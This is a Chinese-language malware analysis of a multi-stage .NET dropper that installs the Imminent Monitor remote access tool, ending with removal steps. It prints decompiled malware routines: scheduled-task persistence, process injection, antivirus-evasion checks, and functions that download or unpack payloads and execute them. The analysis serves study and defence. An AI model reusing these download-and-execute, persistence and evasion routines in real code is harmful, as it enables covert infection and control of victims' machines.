导语:DOTNET就是.NET, 严格说是:.Net Framework框架 。在本文中,我们会对DOTNET(.NET)中的恶意远程访问工具进行分析。
上一篇提到代码会有很多重复,因为它在每个if语句(共有五个if语句,会在下篇讲到)中都会调用一个函数。然而,细节却略有不同,其中给定的方法名称和函数的参数都会显示函数的内容。
第一个if语句在程序集中调用了一个名为okapise的函数,它提供了当前程序的位置、两个名称和一个设置为false的布尔值。据此判断,它可能会执行一个具有给定名称的文件。
第二个if语句会调用一个名为Inj的函数以及字节数组assemblyPart1、两个字符串、三个布尔值以及传递给该程序的参数。由于Inj在许多情况下是Inject的缩写,因此二进制文件可能会在一个进程中自我注入。
第三个if语句会将一个名为mb的函数与四个字符串一起调用,由于在MessageBox(消息框)中使用了术语body,title,warning和messageonce,mb可能是MessageBox(消息框)的简写。
第四个if语句调用一个名为d的函数,该函数使用内容dl和字符串作为参数。在检测dl内容时, dl通常是下载的简写,根据这个判断,该函数很可能是一个下载文件。 dl内容的一部分是经过加密的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci
第五个if语句会调用一个名为zalepen的函数,该函数使用内容绑定和一个字符串。由于没有可用于检测的内容,因此很难确定这个函数到底是做什么的。另外,该名称也没有提供什么实质性信息。如果字符串中包含单词bind,则意味着恶意软件可能会将自己绑定到某个运行函数上。不过,这只是猜测,库中的函数很可能提供有更多的信息。
虽然靠估计和猜测,会得出一些有价值的信息,但必定都不确定。可以肯定的是,必须对这些内容进行检测,不过这些内容在执行之前既没有被写入磁盘,而且还在执行之前已经加密了。为了解决这个问题,可以随时修改代码并停止执行。以下代码片段可用于将解密后的内容写入磁盘。
[...] File.WriteAllBytes("assemblyPart1.exe", decrypt(Encoding.Default.GetBytes(splitAsset[0]), input, key)); File.WriteAllBytes("assemblyPart2.dll", decrypt(Encoding.Default.GetBytes(splitAsset[1]), input, key)); Environment.Exit(0); foreach (Type type in assemblyPart2.GetTypes()) { [...] } [...]
小结
加载程序——第1阶段类似,对这个阶段做个小结也非常有必要,因为存储在库中的函数在dropper的第二阶段中被调用。虽然参数位于第二阶段,而代码则在dropper的第三阶段执行:
1.根据运行环境的不同,程序的执行要么停止,要么继续;
2.将设置标记,这些标记稍后将定义在库中所执行的函数;
3.这两个参数都加载到内存中;
4.根据标记的不同,库中的给定方法会使用定义的参数执行;
加载程序——第3阶段(第1部分)
根据dnSpy,程序assemblyPart1.exe最初被命名为svchost.exe(版本0.0.0.0),其入口点为71395ebe-8ca7-4156-9647-3b87a2912a86.Method0。这个二进制文件使用了很长且没有意义的字符串进行模糊化处理,具体内容如下所示。
public static void Method0() { AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(cf0a078b-f0ab-4eac-a4a1-af0a05e21cf0.0fc1c616-c282-4b8b-b753-5af00039107a.Method1); 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d = new 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d(); 3a3a116e-84a5-4bfc-8f21-21fbc4cece2d.Method1(); }
在浏览文件时,可以看到一个我们可读的附加命名空间:Imminent-Monitor-Client-Watermark。它还包含一个恶意使用的消息,可以在下面找到。
// Imminent-Monitor-Client-Watermark // // Types: // // [email protected]:-"49383d68b77c97e45701895564914fd5"-and-company-name:-"NA"-if-this-assembly-was-found-being-used-maliciously-.-This-file-was-built-using-Invisible-Mode
在访问Imminent Method网站时,可以清楚地了解到这种有效载荷的目的就是实施远程管理。在执行这个准备好的二进制文件后,可以在Imminent Method软件的控制面板中访问受害者的设备,这是RAT的核心功能。
加载程序——第3阶段(第2部分)
用dnSpy打开assemblyPart2.dll后,可以很明显看到,它是一个动态链接库(原始名称为graznataguz.dll,版本1.1.0.0),其中含有两个类。首先,可以观察到空的内部类模块。此外,还有一个名为RunLib的类,它的名称与第2阶段中选择的on相同。使用if语句和库中的函数,可以开始根据实际环境匹配所做的假设。
okapise
在第一个if语句中,函数okapise与四个参数一起被调用,反编译的函数如下所示。
public static void okapise(string location, string filename, string value, bool hide) { Directory.CreateDirectory(Environment.GetFolderPath(26) + "\\" + value); string text = string.Concat(new string[] { Environment.GetFolderPath(26), "\\", value, "\\", filename }); string text2 = string.Concat(new string[] { Environment.GetFolderPath(26), "\\", value, "\\", RunLib.RndString(5), ".xml" }); string name = WindowsIdentity.GetCurrent().Name; string text3 = Resources.TE; if (!(location == text)) { File.Copy(location, text, true); } bool flag = (File.GetAttributes(location) & 2) == 2; if (hide && !flag) { File.SetAttributes(text, File.GetAttributes(text) | 2); } text3 = text3.Replace("[USERID]", name).Replace("[LOCATION]", text); File.WriteAllText(text2, text3); Process.Start(new ProcessStartInfo("schtasks.exe", string.Concat(new string[] { "/Create /TN \"" + value + "\\", value, "\" /XML \"", text2, "\"" })) { WindowStyle = 1 }).WaitForExit(); File.Delete(text2); }
整数26就是枚举值System.Environment.SpecialFolder.ApplicationData,详情请点此,反编译函数RndString如下所示。
private static string RndString(int Length) { string text = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_1234567890"; string text2 = "a"; for (int i = 0; i < Length; i++) { text2 += text.get_Chars(new Random().Next(0, text.Length)).ToString(); } return text2; }
这个函数会根据含有字母和数字的字母表(上下框都有)和下划线返回一个具有给定长度的字符串,最后,在okapise函数中使用了名为TE的内容。XML表的内容如下所示:
<?xml version="1.0" encoding="UTF-16"?><Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>2014-10-25T14:27:44.8929027</Date> <Author>[USERID]</Author> </RegistrationInfo> <Triggers> <LogonTrigger> <Enabled>true</Enabled> <UserId>[USERID]</UserId> </LogonTrigger> <RegistrationTrigger> <Enabled>false</Enabled> </RegistrationTrigger> </Triggers> <Principals> <Principal id="Author"> <UserId>[USERID]</UserId> <LogonType>InteractiveToken</LogonType> <RunLevel>LeastPrivilege</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> <AllowHardTerminate>false</AllowHardTerminate> <StartWhenAvailable>true</StartWhenAvailable> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>false</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>[LOCATION]</Command> </Exec> </Actions></Task>
函数okapise需要一个位置、文件名、值和一个布尔值来决定它是否应该保持隐藏状态。在ApplicationData文件夹中,使用其中的内容创建一个新文件作为模板。在模板中,[USERID]和[LOCATION]标签将替换为当前用户的名称和OXPZYZ.exe的位置(因为参数中给出了这个字符串)。
使用schtasks.exe(Windows定时任务,安排命令和程序定期运行或在指定时间内运行。从计划表中添加和删除任务,按需要启动和停止任务,显示和更改计划任务。),它会在用户登录时创建一个新任务来启动OXPZYZ.exe。这部分恶意软件会保留最终的有效载荷,且命名为OXPZYZ.exe。
Inj函数
Inj函数需要多个参数,例如内容、名称、持久性布尔值、提升权限布尔值、关键进程布尔值、启动字符串和其他参数。反编译代码如下所示:
首先,该函数会检测Avast或AVG当前是否处于活动状态。如果是这样,它会等待25秒再继续。由于所有执行进程都发生在内存中,因此可以放心的假设程序不再位于模拟器中。无论如何,睡眠时间是不会逃脱杀毒软件检测的,因为它们是在事件发生时触发的。接下来,针对.NET检测给定的字节数组。如果.Net Framework可以加载库,则它就是一个.NET库并位置被保存。如果提供的name参数就是自身,也是如此。如果name参数包含字符串default,则使用默认浏览器。默认浏览器来自于注册表,如下面的反编译代码所示。
public static string defBrowser() { string result; try { RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\.html\\UserChoice"); result = Registry.ClassesRoot.OpenSubKey(registryKey.GetValue("ProgId") + "\\shell\\open\\command").GetValue(null).ToString().Split(new char[] { '"' })[1]; } catch { result = "svchost"; } return result; }
在任何其他情况下,都假定有一个本机库,并使用.Net Framework或服务主机(svchost.exe)执行。如果名为svcchost的进程已经运行,则库会尝试终止该进程,具体过程如下面的反编译代码所示,其中多余的c似乎是攻击者的拼写错误。
private static void CheckRunning(string name) { foreach (Process process in Process.GetProcesses()) { if (process.ProcessName.Contains(name) && process.StartInfo.FileName == Path.GetTempPath() + name + ".exe") { try { process.Kill(); } catch { } } }
如果使用提供的参数(例如不同的文件名),则进程行为可能会稍微改变。在本文的示例中,情况并非如此,因为给定的参数本身已指定了具体的行为。给定的文件名是OXPZYZ.exe,类似于之前分析过的persistance函数中的字符串。
message box函数
message box(mb)需要多个参数,文本、标头、图标,下面给出了库中反编译的代码。
public static void mb(string text, string caption, string icon, string once) { if (!RunLib.checkreg(once)) { MessageBoxIcon messageBoxIcon = 0; string text2 = icon.ToLower(); if (!(text2 == "hand")) { if (!(text2 == "warning")) { if (text2 == "asterisk") { messageBoxIcon = 64; } } else { messageBoxIcon = 48; } } else { messageBoxIcon = 16; } MessageBox.Show(Encoding.UTF8.GetString(Convert.FromBase64String(text)), Encoding.UTF8.GetString(Convert.FromBase64String(caption)), 0, messageBoxIcon); } }
文本和标头是在mb函数中解码的,因此它们应该是base64编码。但实际上,给定的参数都不是base64编码的。在第二阶段dropper中将flag4更改为true,而将其他更改为false,可以看到由于给定的try-catch结构而弹出false。此错误让我们再次确认了以下事实,即所使用的字符串不是base64编码的,也不是在调用库之前以某种方式更改的。
函数d
函数d会下载并执行给定的二进制文件,在第二阶段加载程序中,通过解码内容来获得输出的加密内容,它是一个部分可读的URL,如下所示。
http://helpdesk.ugenv(pg+tpn/download/anyconnect-win+0<5*22033-core-vpn-predeploy-k9,ogiTpasenci
使用下面的代码,可以显示带有解码内容的消息框,这是为了确保之后退出程序,以避免意外执行有效载荷。
string output = Encoding.Default.GetString(MainClass.decrypt(Properties.Resources.dl, input, key));MessageBox.Show(output);Environment.Exit(0);
输出的是一个VPN安装程序的链接,该安装程序托管在根特大学(位于比利时)的网站上,具体链接如下所示。
http://helpdesk.ugent.be/vpn/download/anyconnect-win-4.5.02033-core-vpn-predeploy-k9.msiPrasenci
除了url之外,库中的函数还需要一个额外的参数——字符串Z,下面给出了来自库的反编译函数d。
public static void d(string original, string once){ WebClient webClient = new WebClient(); string[] array = Regex.Split(original, "Prasenci"); if (!RunLib.checkreg(once)) { foreach (string text in array) { if (!string.IsNullOrEmpty(text)) { try { string[] array3 = text.Split(new char[] { '/' }); string text2 = Path.GetTempPath() + array3[array3.Length - 1]; webClient.DownloadFile(text, text2); Process.Start(text2); } catch { } } } }}
附加的字符串Prasenci用作分配器,只保留URL。这可以用于逃脱那些基于包含可执行文件的地址的检测软件。
字符串Z只在checkreg函数中被使用,具体分析如下。在进行checkreg函数分析之前,将分析下载函数的其余部分。 url的最后一部分(最后一个斜杠后面的部分)用作文件名,Web客户端将从给定的URL下载文件,将其保存在系统的临时文件夹中并执行它。
public static bool checkreg(string name){ bool result; try { if (string.IsNullOrEmpty(name)) { result = false; } else if (Registry.CurrentUser.OpenSubKey(name) == null) { RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(name); registryKey.SetValue("Serial", name); registryKey.Close(); result = false; } else { result = true; } } catch { result = false; } return result;}
如果已存在名称为Z的注册表项,则表示远程恶意执行软件已在系统上注册。因此,不需要再次执行相同的函数。这样做的目的是,降低被杀毒软件捕获的概率。
zalepen
在第二阶段加载程序中,使用两个参数调用zalepen方法:绑定内容(bind asset)和字符串。与messagebox函数类似,字符串由括号括起来,且字母全部大写。
库中的zalepen函数代码如下所示:
public static void zalepen(byte[] fullbytes, string once) { string[] array = Regex.Split(Encoding.Default.GetString(fullbytes), "smazan"); if (!RunLib.checkreg(once)) { for (int i = 0; i < array.Length; i++) { if (array[i] != "") { string[] array2 = Regex.Split(array[i], "seremise"); byte[] bytes = Encoding.Default.GetBytes(array2[0]); if (RunLib.isDotNet(bytes)) { RunLib.RunNt(bytes); } else { string text = Path.GetTempPath() + array2[1]; try { File.WriteAllBytes(text, bytes); Process.Start(text); } catch { } } } } } }
使用字符串smazan拆分提供的字节数组,使用checkreg函数,可以检测名称下是否存在注册表项。对于数组中的每个值,都会创建一个新数组。这个新数组基于一个新的拆分字符串:seremise,且仅使用此新数组的第一项(在索引0处)。如果库是.NET库,则启动它。如果失败,则将其作为本机库加载。如果它不是库,则它作为进程启动。isDotNet和RunNt函数的代码如下所示:
public static bool isDotNet(byte[] bytesdotnet){ bool result; try { Assembly.Load(bytesdotnet); result = true; } catch (Exception) { result = false; } return result;}
public static int RunNt(byte[] datatorun){ int result; try { Thread thread = new Thread(new ParameterizedThreadStart(RunLib.RunNet)); thread.SetApartmentState(0); thread.Start(datatorun); result = Process.GetCurrentProcess().Id; } catch (Exception) { RunLib.native = true; result = RunLib.Run(datatorun, Assembly.GetCallingAssembly().Location); } return result;}
总结
恶意远程攻击分为多个阶段,且各个阶段都有不同的功能。这些阶段的简要总结如下,最后,我们将给出从系统中删除此恶意远程攻击的方法。
第一阶段
刚开始执行后,包装器组件将会被删除。此阶段的目的是用来逃避杀毒软件的,因为它可以在不影响其他恶意软件的情况下,根据实际需要进行大量更改。具体的过程,就是使用不同的函数和不同的技术,且不同环境下,调用图、流程图和签名都将有所不同,而其余的恶意软件都将保持不变。
第二阶段
此阶段就是对恶意远程攻击的有效载荷(阶段3的第1部分)和库(阶段3的第2部分)进行封装。攻击者会根据不同的配置,执行不同的代码。这个包装器也相对容易更改,因为它只是调用库中的函数。拆分有效载荷的一部分(例如RAT组件和持久性,它们位于不同的内容中)也避免了防病毒检测,因为只有在第二阶段dropper的配置允许的情况下,才会加载并执行RAT病毒检测。否则,它仍然是加密的。
第3阶段的第1部分
恶意远程攻击有效载荷也是一种合法使用的程序,这样杀毒软件更难以检测其使用方式。
第3阶段的第2部分
该库包含许多函数,只要保留相同的参数,就可以更改它们。这样,可以使多个库具有相同的函数,但使用不同的代码来执行操作,这将使恶意软件更具隐蔽性。
恶意软件的缓解措施
要删除这种恶意软件,只需删除该任务并从ApplicationData文件夹中删除该文件。即使删除任务,足以避免被攻击,但我们还是建议最好还是删除所有内容。
如果要对系统做安全预防措施,可以创建给定的注册表项。由于库中的checkreg函数(阶段3的第2部分)在注册表项存在时,攻击者是不会启动恶意进程的。